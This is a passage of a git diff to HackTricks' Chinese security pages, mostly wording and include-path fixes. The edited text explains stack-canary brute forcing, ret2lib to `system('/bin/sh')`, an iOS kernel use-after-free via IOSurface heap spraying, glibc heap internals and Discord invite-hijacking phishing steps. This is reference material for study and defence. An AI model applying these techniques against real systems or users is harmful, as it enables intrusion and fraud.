将被调用，因此将调用 `pop rdi; ret`，因此在栈中执行此链）。最后，使用执行 ret2lib 的新 ROP 链。 - [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html) -- 32 位，无 relro，无 canary，nx，pie。利用错误的索引泄露 libc 和堆的地址。利用缓冲区溢出进行 ret2lib 调用 `system('/bin/sh')`（需要堆地址以绕过检查）。 +- 32 位，无 relro，无 canary，nx，pie。利用错误的索引泄漏 libc 和堆的地址。利用缓冲区溢出进行 ret2lib 调用 `system('/bin/sh')`（需要堆地址以绕过检查）。 -{{#include /banners/hacktricks-training.md}} +{{#include ../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md index 952edb25e..49ee0bd18 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md @@ -106,7 +106,7 @@ log.info(f"The canary is: {canary}") 同一进程的线程将**共享相同的 canary token**，因此如果二进制文件在每次攻击发生时生成一个新线程，将有可能**暴力破解**一个 canary。 此外，在受 canary 保护的**线程函数**中发生的缓冲区**溢出**可能被用来**修改存储在 TLS 中的主 canary**。这是因为，可能通过线程的**栈**中的**bof**到达存储 TLS（因此也包括 canary）的内存位置。\ -因此，该缓解措施是无效的，因为检查使用的是两个相同的 canary（尽管被修改过）。\ +因此，缓解措施是无效的，因为检查使用的是两个相同的 canary（尽管被修改过）。\ 此攻击在以下写作中进行了描述：[http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) 还可以查看 [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) 的演示，其中提到通常**TLS**是通过**`mmap`**存储的，当创建**线程**的**栈**时，它也是通过 `mmap` 生成的，这可能允许如前述写作中所示的溢出。 @@ -116,4 +116,4 @@ log.info(f"The canary is: {canary}") - [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html) - 64 位，无 PIE，nx，BF canary，在某些内存中写入 ROP 以调用 `execve` 并跳转到那里。 -{{#include /banners/hacktricks-training.md}} +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting.md b/src/binary-exploitation/ios-exploiting.md index 68da60a1c..f7cc1cd27 100644 --- a/src/binary-exploitation/ios-exploiting.md +++ b/src/binary-exploitation/ios-exploiting.md @@ -1,6 +1,6 @@ # iOS Exploiting -{{#include /banners/hacktricks-training.md}} +{{#include ../banners/hacktricks-training.md}} ## 物理使用后释放 @@ -12,7 +12,7 @@ iOS上用户进程的**虚拟内存地址空间**范围从**0x0到0x8000000000** #### iOS中的页表级别 -页表分为三个层次的层次结构： +页表分为三个层次进行分层组织： 1. **L1页表（第1级）**： * 这里的每个条目表示一个大范围的虚拟内存。 @@ -22,12 +22,12 @@ iOS上用户进程的**虚拟内存地址空间**范围从**0x0到0x8000000000** * 如果L1条目无法映射整个区域，它可能指向L2表。 3. **L3页表（第3级）**： * 这是最细的级别，每个条目映射一个单独的**4 KB**内存页。 -* 如果需要更细粒度的控制，L2条目可以指向L3表。 +* 如果需要更细粒度的控制，L2条目可能指向L3表。 #### 虚拟到物理内存的映射 * **直接映射（块映射）**： -* 页表中的某些条目直接**将一系列虚拟地址**映射到一系列连续的物理地址（就像快捷方式）。 +* 页表中的某些条目直接**将一系列虚拟地址**映射到一系列连续的物理地址（如快捷方式）。 * **指向子页表的指针**： * 如果需要更细的控制，一个级别中的条目（例如L1）可以指向下一个级别的**子页表**（例如L2）。 @@ -36,9 +36,9 @@ iOS上用户进程的**虚拟内存地址空间**范围从**0x0到0x8000000000** 假设你尝试访问虚拟地址**0x1000000000**： 1. **L1表**： -* 内核检查与此虚拟地址对应的L1页表条目。如果它有一个**指向L2页表的指针**，则转到该L2表。 +* 内核检查与此虚拟地址对应的L1页表条目。如果它有指向L2页表的**指针**，则转到该L2表。 2. **L2表**： -* 内核检查L2页表以获取更详细的映射。如果此条目指向**L3页表**，则继续到那里。 +* 内核检查L2页表以获取更详细的映射。如果此条目指向**L3页表**，则继续前往。 3. **L3表**： * 内核查找最终的L3条目，该条目指向实际内存页的**物理地址**。 @@ -60,8 +60,8 @@ iOS上用户进程的**虚拟内存地址空间**范围从**0x0到0x8000000000** 1. 进程**分配**一些内存为**可读和可写**。 2. **页表**被更新以将此内存映射到进程可以访问的特定物理地址。 3. 进程**释放**（释放）内存。 -4. 然而，由于一个**错误**，内核**忘记从页表中删除映射**，尽管它将相应的物理内存标记为可用。 -5. 内核可以**重新分配这块“释放”的物理内存**用于其他目的，例如**内核数据**。 +4. 然而，由于**错误**，内核**忘记从页表中删除映射**，尽管它将相应的物理内存标记为可用。 +5. 内核随后可以**重新分配这块“释放”的物理内存**用于其他目的，如**内核数据**。 6. 由于映射未被删除，进程仍然可以**读写**这块物理内存。 这意味着进程可以访问**内核内存的页面**，这些页面可能包含敏感数据或结构，可能允许攻击者**操纵内核内存**。 @@ -71,9 +71,9 @@ iOS上用户进程的**虚拟内存地址空间**范围从**0x0到0x8000000000** 由于攻击者无法控制哪些特定的内核页面将分配给释放的内存，他们使用一种称为**堆喷射**的技术： 1. 攻击者在内核内存中**创建大量IOSurface对象**。 -2. 每个IOSurface对象在其字段中包含一个**魔法值**，使其易于识别。 -3. 他们**扫描释放的页面**以查看这些IOSurface对象是否落在释放的页面上。 -4. 当他们在释放的页面上找到一个IOSurface对象时，他们可以使用它来**读写内核内存**。 +2. 每个IOSurface对象在其字段中包含一个**魔法值**，便于识别。 +3. 他们**扫描释放的页面**，查看这些IOSurface对象是否落在释放的页面上。 +4. 当他们在释放的页面上找到一个IOSurface对象时，他们可以用它来**读写内核内存**。 关于此的更多信息请参见[https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)。 @@ -204,4 +204,4 @@ iosurface_set_indexed_timestamp_pointer(info.object, orig); 通过这些原语，漏洞利用提供了对内核内存的受控**32位读取**和**64位写入**。进一步的越狱步骤可能涉及更稳定的读/写原语，这可能需要绕过额外的保护（例如，在较新的arm64e设备上的PPL）。 -{{#include /banners/hacktricks-training.md}} +{{#include ../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/README.md b/src/binary-exploitation/libc-heap/README.md index 7eef6c3f5..e188b0e4f 100644 --- a/src/binary-exploitation/libc-heap/README.md +++ b/src/binary-exploitation/libc-heap/README.md @@ -1,6 +1,6 @@ # Libc Heap -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## Heap Basics @@ -12,15 +12,15 @@ ### Basic Chunk Allocation -当请求在堆中存储某些数据时，会为其分配堆的一部分空间。该空间将属于一个 bin，只有请求的数据 + bin 头的空间 + 最小 bin 大小偏移量将为该块保留。目标是尽可能少地保留内存，而不使查找每个块的位置变得复杂。为此，使用元数据块信息来了解每个已用/空闲块的位置。 +当请求将某些数据存储在堆中时，会为其分配堆的一部分空间。该空间将属于一个 bin，并且仅为请求的数据 + bin 头的空间 + 最小 bin 大小偏移量保留。目标是尽可能少地保留内存，而不使查找每个 chunk 的位置变得复杂。为此，使用元数据 chunk 信息来知道每个已用/空闲 chunk 的位置。 -根据使用的 bin，有不同的方法来保留空间，但一般的方法如下： +根据使用的 bin，有不同的方法来保留空间，但一般方法如下： - 程序开始请求一定量的内存。 -- 如果在块列表中有足够大的可用块来满足请求，则将使用该块。 -- 这甚至可能意味着可用块的一部分将用于此请求，其余部分将添加到块列表中。 -- 如果列表中没有可用块，但已分配的堆内存中仍有空间，堆管理器将创建一个新块。 -- 如果没有足够的堆空间来分配新块，堆管理器会请求内核扩展分配给堆的内存，然后使用这块内存生成新块。 +- 如果在 chunk 列表中有足够大的可用 chunk，将使用它。 +- 这甚至可能意味着可用 chunk 的一部分将用于此请求，其余部分将添加到 chunk 列表中。 +- 如果列表中没有可用的 chunk，但已分配的堆内存中仍有空间，堆管理器将创建一个新 chunk。 +- 如果没有足够的堆空间来分配新 chunk，堆管理器会请求内核扩展分配给堆的内存，然后使用这块内存生成新 chunk。 - 如果一切都失败，`malloc` 返回 null。 请注意，如果请求的 **内存超过阈值**，将使用 **`mmap`** 来映射请求的内存。 @@ -29,21 +29,21 @@ 在 **多线程** 应用程序中，堆管理器必须防止可能导致崩溃的 **竞争条件**。最初，这是通过使用 **全局互斥锁** 来确保一次只有一个线程可以访问堆，但这导致了由于互斥锁引起的瓶颈而产生的 **性能问题**。 -为了解决这个问题，ptmalloc2 堆分配器引入了“区域”，每个 **区域** 作为一个 **独立的堆**，具有 **自己的** 数据 **结构** 和 **互斥锁**，允许多个线程在不相互干扰的情况下执行堆操作，只要它们使用不同的区域。 +为了解决这个问题，ptmalloc2 堆分配器引入了“arena”，每个 **arena** 作为一个 **独立的堆**，具有 **自己的** 数据 **结构** 和 **互斥锁**，允许多个线程在不相互干扰的情况下执行堆操作，只要它们使用不同的 arena。 -默认的“主”区域处理单线程应用程序的堆操作。当 **新线程** 被添加时，堆管理器为它们分配 **次要区域** 以减少竞争。它首先尝试将每个新线程附加到未使用的区域，如果需要则创建新的区域，最多为 32 位系统的 CPU 核心数量的 2 倍，64 位系统的 8 倍。一旦达到限制，**线程必须共享区域**，这可能导致竞争。 +默认的“主” arena 处理单线程应用程序的堆操作。当 **新线程** 被添加时，堆管理器为它们分配 **次要 arena** 以减少竞争。它首先尝试将每个新线程附加到未使用的 arena，如果需要则创建新的，最多达到 32 位系统 CPU 核心数量的 2 倍和 64 位系统的 8 倍。一旦达到限制，**线程必须共享 arena**，这可能导致竞争。 -与使用 `brk` 系统调用扩展的主区域不同，次要区域使用 `mmap` 和 `mprotect` 创建“子堆”，以模拟堆行为，从而在管理多线程操作的内存时提供灵活性。 +与使用 `brk` 系统调用扩展的主 arena 不同，次要 arena 使用 `mmap` 和 `mprotect` 创建“子堆”，以模拟堆行为，从而在多线程操作中灵活管理内存。 ### Subheaps -子堆作为多线程应用程序中次要区域的内存储备，允许它们独立于主堆增长和管理自己的堆区域。以下是子堆与初始堆的不同之处及其操作方式： +子堆作为多线程应用程序中次要 arena 的内存储备，允许它们独立于主堆增长和管理自己的堆区域。以下是子堆与初始堆的不同之处及其操作方式： 1. **初始堆与子堆**： - 初始堆位于程序的二进制文件后面，并通过 `sbrk` 系统调用扩展。 -- 次要区域使用的子堆是通过 `mmap` 创建的，`mmap` 是一个映射指定内存区域的系统调用。 +- 子堆由次要 arena 使用，通过 `mmap` 创建，这是一个映射指定内存区域的系统调用。 2. **使用 `mmap` 进行内存保留**： -- 当堆管理器创建子堆时，它通过 `mmap` 保留一大块内存。此保留不会立即分配内存；它只是指定一个其他系统进程或分配不应使用的区域。 +- 当堆管理器创建子堆时，通过 `mmap` 保留一大块内存。此保留不会立即分配内存；它只是指定一个区域，其他系统进程或分配不应使用。 - 默认情况下，子堆的保留大小为 32 位进程的 1 MB 和 64 位进程的 64 MB。 3. **使用 `mprotect` 逐步扩展**： - 保留的内存区域最初标记为 `PROT_NONE`，表示内核尚不需要为此空间分配物理内存。 @@ -94,7 +94,7 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK]; - 因此，这些bins的**第一个块**将有一个**指向此结构的反向指针**，而这些bins的**最后一个块**将有一个**指向此结构的前向指针**。这基本上意味着，如果你能**泄漏主区域中的这些地址**，你将获得指向**libc**中结构的指针。 - 结构`struct malloc_state *next;`和`struct malloc_state *next_free;`是区域的链表 - `top`块是最后一个“块”，基本上是**所有堆剩余空间**。一旦顶块“空”，堆就完全使用，需要请求更多空间。 -- `last reminder`块来自于没有可用的精确大小块的情况，因此一个更大的块被拆分，剩余部分的指针放置在这里。 +- `last reminder`块来自于没有可用的精确大小块的情况，因此一个更大的块被拆分，剩余部分的指针放在这里。 ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812 @@ -144,7 +144,7 @@ INTERNAL_SIZE_T max_system_mem; ``` ### malloc_chunk -这个结构表示一块特定的内存。不同字段对已分配和未分配的块具有不同的含义。 +该结构表示特定的内存块。不同字段对已分配和未分配块具有不同的含义。 ```c // https://github.com/bminor/glibc/blob/master/malloc/malloc.c struct malloc_chunk { @@ -159,19 +159,19 @@ struct malloc_chunk* bk_nextsize; typedef struct malloc_chunk* mchunkptr; ``` -如前所述，这些块也包含一些元数据，在此图中很好地表示： +如前所述，这些块也有一些元数据，在此图中很好地表示：

https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png

-元数据通常是0x08B，表示当前块大小，使用最后3位表示： +元数据通常是0x08B，表示当前块大小，使用最后3位来指示： -- `A`：如果为1，则来自子堆；如果为0，则在主区域 +- `A`：如果为1，则来自子堆，如果为0，则在主区域 - `M`：如果为1，则该块是使用mmap分配的空间的一部分，而不是堆的一部分 - `P`：如果为1，则前一个块正在使用中 然后是用户数据的空间，最后是0x08B，用于指示块可用时的前一个块大小（或在分配时存储用户数据）。 -此外，当可用时，用户数据还用于包含一些数据： +此外，当可用时，用户数据也用于包含一些数据： - **`fd`**：指向下一个块的指针 - **`bk`**：指向前一个块的指针 @@ -186,7 +186,7 @@ typedef struct malloc_chunk* mchunkptr; ### 块指针 当使用malloc时，返回一个可以写入的内容的指针（就在头部之后），然而，在管理块时，需要一个指向头部（元数据）开始的指针。\ -为这些转换使用以下函数： +为这些转换使用这些函数： ```c // https://github.com/bminor/glibc/blob/master/malloc/malloc.c @@ -261,7 +261,7 @@ req = (req + (__MTAG_GRANULE_SIZE - 1)) & return request2size (req); } ``` -注意，在计算所需的总空间时，仅添加 `SIZE_SZ` 1 次，因为 `prev_size` 字段可以用来存储数据，因此只需要初始头部。 +注意，在计算所需的总空间时，仅添加了 `SIZE_SZ` 1 次，因为 `prev_size` 字段可以用来存储数据，因此只需要初始头部。 ### 获取块数据并更改元数据 @@ -505,4 +505,4 @@ heap-memory-functions/heap-functions-security-checks.md - [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/) -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/use-after-free/first-fit.md b/src/binary-exploitation/libc-heap/use-after-free/first-fit.md index 9f5e60f0f..995bd2311 100644 --- a/src/binary-exploitation/libc-heap/use-after-free/first-fit.md +++ b/src/binary-exploitation/libc-heap/use-after-free/first-fit.md @@ -51,12 +51,12 @@ d = malloc(20); // a - [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/) - ARM64. 使用后释放：生成一个用户对象，释放它，生成一个获取已释放块的对象并允许写入，**覆盖之前的 user->password 位置**。重用用户以**绕过密码检查** - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example) -- 该程序允许创建笔记。笔记将包含在 malloc(8) 中的笔记信息（带有可以调用的函数指针）和指向另一个 malloc(\) 的指针，后者包含笔记的内容。 -- 攻击将是创建 2 个笔记（note0 和 note1），其 malloc 内容大于笔记信息大小，然后释放它们以使其进入快速 bin（或 tcache）。 +- 该程序允许创建笔记。一个笔记将包含在 malloc(8) 中的笔记信息（带有可以调用的函数指针）和指向另一个 malloc(\) 的指针，后者包含笔记的内容。 +- 攻击将是创建 2 个笔记（note0 和 note1），其 malloc 内容大于笔记信息大小，然后释放它们，使其进入快速 bin（或 tcache）。 - 然后，创建另一个笔记（note2），内容大小为 8。内容将位于 note1 中，因为该块将被重用，我们可以修改函数指针以指向 win 函数，然后使用后释放 note1 来调用新的函数指针。 - [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html) - 可以分配一些内存，写入所需值，释放它，重新分配它，由于之前的数据仍然存在，它将根据块中的新预期结构进行处理，从而可以设置值以获取标志。 - [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html) - 在这种情况下，需要在特定块中写入 4，该块是第一个被分配的块（即使在强制释放所有块后）。在每个新分配的块中，其在数组索引中的编号被存储。然后，分配 4 个块（+ 最初分配的），最后一个块将包含 4，释放它们并强制重新分配第一个块，这将使用最后释放的块，即包含 4 的块。 -{{#include /banners/hacktricks-training.md}} +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md b/src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md index 1429af015..180d17708 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md @@ -2,15 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -Discord 的邀请系统漏洞允许威胁行为者声称过期或已删除的邀请代码（临时、永久或自定义虚荣）作为任何 Level 3 提升服务器上的新虚荣链接。通过将所有代码标准化为小写，攻击者可以预先注册已知的邀请代码，并在原始链接过期或源服务器失去提升后静默劫持流量。 +Discord 的邀请系统漏洞允许威胁行为者声称过期或删除的邀请代码（临时、永久或自定义虚荣）作为任何 Level 3 提升服务器上的新虚荣链接。通过将所有代码标准化为小写，攻击者可以预先注册已知的邀请代码，并在原始链接过期或源服务器失去提升后静默劫持流量。 ## 邀请类型和劫持风险 -| 邀请类型 | 可劫持？ | 条件 / 备注 | +| 邀请类型 | 可劫持？ | 条件 / 评论 | |-----------------------|-------------|--------------------------------------------------------------------------------------------------------| | 临时邀请链接 | ✅ | 过期后，代码变得可用，可以被提升服务器重新注册为虚荣 URL。 | | 永久邀请链接 | ⚠️ | 如果被删除且仅由小写字母和数字组成，代码可能会再次变得可用。 | -| 自定义虚荣链接 | ✅ | 如果原始服务器失去其 Level 3 Boost，其虚荣邀请将可供新注册。 | +| 自定义虚荣链接 | ✅ | 如果原始服务器失去 Level 3 Boost，其虚荣邀请将变得可供新注册。 | ## 利用步骤 @@ -22,7 +22,7 @@ Discord 的邀请系统漏洞允许威胁行为者声称过期或已删除的邀 - 在 **服务器设置 → 虚荣 URL** 中，尝试分配目标邀请代码。如果被接受，该代码将被恶意服务器保留。 3. 劫持激活 - 对于临时邀请，等待原始邀请过期（或如果您控制源，则手动删除它）。 -- 对于包含大写字母的代码，小写变体可以立即被声明，尽管重定向仅在过期后激活。 +- 对于包含大写字母的代码，小写变体可以立即声明，尽管重定向仅在过期后激活。 4. 静默重定向 - 一旦劫持激活，访问旧链接的用户将无缝地被发送到攻击者控制的服务器。 @@ -58,4 +58,4 @@ navigator.clipboard.writeText(cmd); - 从信任到威胁：被劫持的 Discord 邀请用于多阶段恶意软件交付 – https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/ - Discord 自定义邀请链接文档 – https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/threat-modeling.md b/src/generic-methodologies-and-resources/threat-modeling.md index f85a1e7d6..9f93371c5 100644 --- a/src/generic-methodologies-and-resources/threat-modeling.md +++ b/src/generic-methodologies-and-resources/threat-modeling.md @@ -1,10 +1,10 @@ # 威胁建模 -{{#include /banners/hacktricks-training.md}} +{{#include ../banners/hacktricks-training.md}} ## 威胁建模 -欢迎来到 HackTricks 的全面威胁建模指南！开始探索网络安全这一关键方面，我们识别、理解并制定针对系统潜在漏洞的策略。此线程作为逐步指南，包含真实案例、实用软件和易于理解的解释。非常适合希望加强网络安全防御的新手和经验丰富的从业者。 +欢迎来到 HackTricks 关于威胁建模的综合指南！开始探索网络安全这一关键方面，我们识别、理解并制定针对系统潜在漏洞的策略。此线程作为逐步指南，包含真实案例、实用软件和易于理解的解释。非常适合希望加强网络安全防御的新手和经验丰富的从业者。 ### 常用场景 @@ -15,46 +15,46 @@ 威胁模型通常以图表、图像或其他形式的视觉插图表示，描绘应用程序的计划架构或现有构建。它与**数据流图**相似，但关键区别在于其安全导向的设计。 -威胁模型通常包含用红色标记的元素，象征潜在的漏洞、风险或障碍。为了简化风险识别过程，采用 CIA（机密性、完整性、可用性）三元组，构成许多威胁建模方法的基础，其中 STRIDE 是最常见的。然而，所选方法可能会根据具体上下文和要求而有所不同。 +威胁模型通常包含用红色标记的元素，象征潜在的漏洞、风险或障碍。为了简化风险识别过程，采用CIA（机密性、完整性、可用性）三元组，构成许多威胁建模方法的基础，其中STRIDE是最常见的之一。然而，所选方法可能会根据具体上下文和要求而有所不同。 -### CIA 三元组 +### CIA三元组 -CIA 三元组是信息安全领域广泛认可的模型，代表机密性、完整性和可用性。这三大支柱构成了许多安全措施和政策的基础，包括威胁建模方法。 +CIA三元组是信息安全领域广泛认可的模型，代表机密性、完整性和可用性。这三大支柱构成了许多安全措施和政策的基础，包括威胁建模方法。 1. **机密性**：确保数据或系统不被未经授权的个人访问。这是安全的核心方面，需要适当的访问控制、加密和其他措施以防止数据泄露。 -2. **完整性**：数据在其生命周期内的准确性、一致性和可信性。该原则确保数据未被未经授权的方篡改或更改。通常涉及校验和、哈希和其他数据验证方法。 -3. **可用性**：确保数据和服务在需要时可供授权用户访问。这通常涉及冗余、容错和高可用性配置，以保持系统在中断情况下的运行。 +2. **完整性**：数据在其生命周期内的准确性、一致性和可信度。该原则确保数据未被未经授权的方更改或篡改。通常涉及校验和、哈希和其他数据验证方法。 +3. **可用性**：确保数据和服务在需要时可供授权用户访问。这通常涉及冗余、容错和高可用性配置，以保持系统在中断情况下仍能运行。 ### 威胁建模方法 -1. **STRIDE**：由微软开发，STRIDE 是**欺骗、篡改、否认、信息泄露、服务拒绝和特权提升**的首字母缩略词。每个类别代表一种威胁，这种方法通常在程序或系统的设计阶段用于识别潜在威胁。 -2. **DREAD**：这是微软用于识别威胁风险评估的另一种方法。DREAD 代表**损害潜力、可重现性、可利用性、受影响用户和可发现性**。每个因素都被评分，结果用于优先处理识别的威胁。 +1. **STRIDE**：由微软开发，STRIDE是**欺骗、篡改、否认、信息泄露、服务拒绝和特权提升**的首字母缩略词。每个类别代表一种威胁，这种方法通常用于程序或系统的设计阶段，以识别潜在威胁。 +2. **DREAD**：这是微软用于已识别威胁风险评估的另一种方法。DREAD代表**损害潜力、可重现性、可利用性、受影响用户和可发现性**。每个因素都被评分，结果用于优先排序已识别的威胁。 3. **PASTA**（攻击模拟和威胁分析过程）：这是一种七步的**风险中心**方法。它包括定义和识别安全目标、创建技术范围、应用程序分解、威胁分析、漏洞分析和风险/分流评估。 4. **Trike**：这是一种基于风险的方法，专注于保护资产。它从**风险管理**的角度出发，关注威胁和漏洞。 5. **VAST**（可视化、敏捷和简单的威胁建模）：这种方法旨在更易于访问，并集成到敏捷开发环境中。它结合了其他方法的元素，专注于**威胁的可视化表示**。 -6. **OCTAVE**（操作关键威胁、资产和漏洞评估）：由 CERT 协调中心开发，该框架旨在**进行组织风险评估，而不是特定系统或软件**。 +6. **OCTAVE**（操作关键威胁、资产和漏洞评估）：由CERT协调中心开发，该框架旨在**进行组织风险评估，而不是特定系统或软件**。 ## 工具 -有几种工具和软件解决方案可用于**协助**创建和管理威胁模型。以下是您可以考虑的一些工具。 +有几种工具和软件解决方案可用于**协助**创建和管理威胁模型。以下是您可能考虑的一些工具。 ### [SpiderSuite](https://github.com/3nock/SpiderSuite) -一个先进的跨平台多功能 GUI 网络爬虫/蜘蛛，适用于网络安全专业人员。Spider Suite 可用于攻击面映射和分析。 +一个先进的跨平台多功能GUI网络爬虫/蜘蛛，适用于网络安全专业人员。Spider Suite可用于攻击面映射和分析。 **使用方法** -1. 选择一个 URL 并爬取 +1. 选择一个URL并爬取
-2. 查看图形 +2. 查看图表
### [OWASP Threat Dragon](https://github.com/OWASP/threat-dragon/releases) -OWASP 的一个开源项目，Threat Dragon 是一个包含系统图示和规则引擎以自动生成威胁/缓解措施的网络和桌面应用程序。 +OWASP的一个开源项目，Threat Dragon是一个包含系统图示和规则引擎以自动生成威胁/缓解措施的Web和桌面应用程序。 **使用方法** @@ -76,19 +76,19 @@ OWASP 的一个开源项目，Threat Dragon 是一个包含系统图示和规则 4. 创建您的模型 -您可以使用像 SpiderSuite Crawler 这样的工具来获得灵感，基本模型可能看起来像这样 +您可以使用像SpiderSuite Crawler这样的工具来获得灵感，基本模型可能看起来像这样
关于实体的简单解释： -- 过程（实体本身，如 Web 服务器或 Web 功能） -- 行为者（如网站访客、用户或管理员的人） +- 过程（实体本身，如Web服务器或Web功能） +- 参与者（如网站访客、用户或管理员的人） - 数据流线（交互的指示） -- 信任边界（不同的网络段或范围。） +- 信任边界（不同的网络段或范围） - 存储（数据存储的地方，如数据库） -5. 创建威胁（步骤 1） +5. 创建威胁（步骤1） 首先，您必须选择要添加威胁的层 @@ -98,18 +98,18 @@ OWASP 的一个开源项目，Threat Dragon 是一个包含系统图示和规则
-请记住，行为者威胁和过程威胁之间是有区别的。如果您要向行为者添加威胁，则只能选择“欺骗”和“否认”。然而在我们的示例中，我们将威胁添加到过程实体，因此我们将在威胁创建框中看到： +请记住，参与者威胁和过程威胁之间是有区别的。如果您要向参与者添加威胁，则只能选择“欺骗”和“否认”。然而在我们的示例中，我们将威胁添加到过程实体，因此我们将在威胁创建框中看到：
6. 完成 -现在您完成的模型应该看起来像这样。这就是如何使用 OWASP Threat Dragon 制作简单的威胁模型。 +现在您完成的模型应该看起来像这样。这就是如何使用OWASP Threat Dragon制作简单威胁模型。
### [Microsoft Threat Modeling Tool](https://aka.ms/threatmodelingtool) -这是微软提供的一个免费工具，帮助在软件项目的设计阶段发现威胁。它使用 STRIDE 方法，特别适合在微软技术栈上开发的人员。 +这是微软提供的免费工具，帮助在软件项目的设计阶段发现威胁。它使用STRIDE方法，特别适合在微软技术栈上开发的人员。 -{{#include /banners/hacktricks-training.md}} +{{#include ../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md index 69ed63ee9..216a003b4 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md @@ -13,7 +13,7 @@ ### **`com.apple.rootless.install`** -权限 **`com.apple.rootless.install`** 允许 **绕过 SIP**。查看[此处获取更多信息](macos-sip.md#com.apple.rootless.install)。 +权限 **`com.apple.rootless.install`** 允许 **绕过 SIP**。查看 [此处获取更多信息](macos-sip.md#com.apple.rootless.install)。 ### **`com.apple.system-task-ports` (之前称为 `task_for_pid-allow`)** @@ -123,18 +123,18 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti ### `com.apple.security.cs.allow-jit` -此权限允许通过将 `MAP_JIT` 标志传递给 `mmap()` 系统函数来**创建可写和可执行的内存**。查看[**更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit)。 +此权限允许通过将 `MAP_JIT` 标志传递给 `mmap()` 系统函数来**创建可写和可执行的内存**。查看[**此处以获取更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit)。 ### `com.apple.security.cs.allow-unsigned-executable-memory` -此权限允许**覆盖或修补 C 代码**，使用已被长期弃用的**`NSCreateObjectFileImageFromMemory`**（这在根本上是不安全的），或使用**DVDPlayback**框架。查看[**更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory)。 +此权限允许**覆盖或修补 C 代码**，使用长期弃用的**`NSCreateObjectFileImageFromMemory`**（这在根本上是不安全的），或使用**DVDPlayback**框架。查看[**此处以获取更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory)。 > [!CAUTION] > 包含此权限会使您的应用程序暴露于内存不安全代码语言中的常见漏洞。仔细考虑您的应用程序是否需要此例外。 ### `com.apple.security.cs.disable-executable-page-protection` -此权限允许**修改其自身可执行文件**的部分内容以强制退出。查看[**更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection)。 +此权限允许**修改其自身可执行文件**的部分内容以强制退出。查看[**此处以获取更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection)。 > [!CAUTION] > 禁用可执行内存保护权限是一种极端权限，它从您的应用程序中移除了基本的安全保护，使攻击者能够在不被检测的情况下重写您应用程序的可执行代码。如果可能，优先选择更窄的权限。 @@ -160,11 +160,11 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti ### **`kTCCServicePostEvent`** -{{#include ../../../banners/hacktricks-training.md}} + -{{#include /banners/hacktricks-training.md}} +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/flutter.md b/src/mobile-pentesting/android-app-pentesting/flutter.md index f10abb200..6aaf4e6db 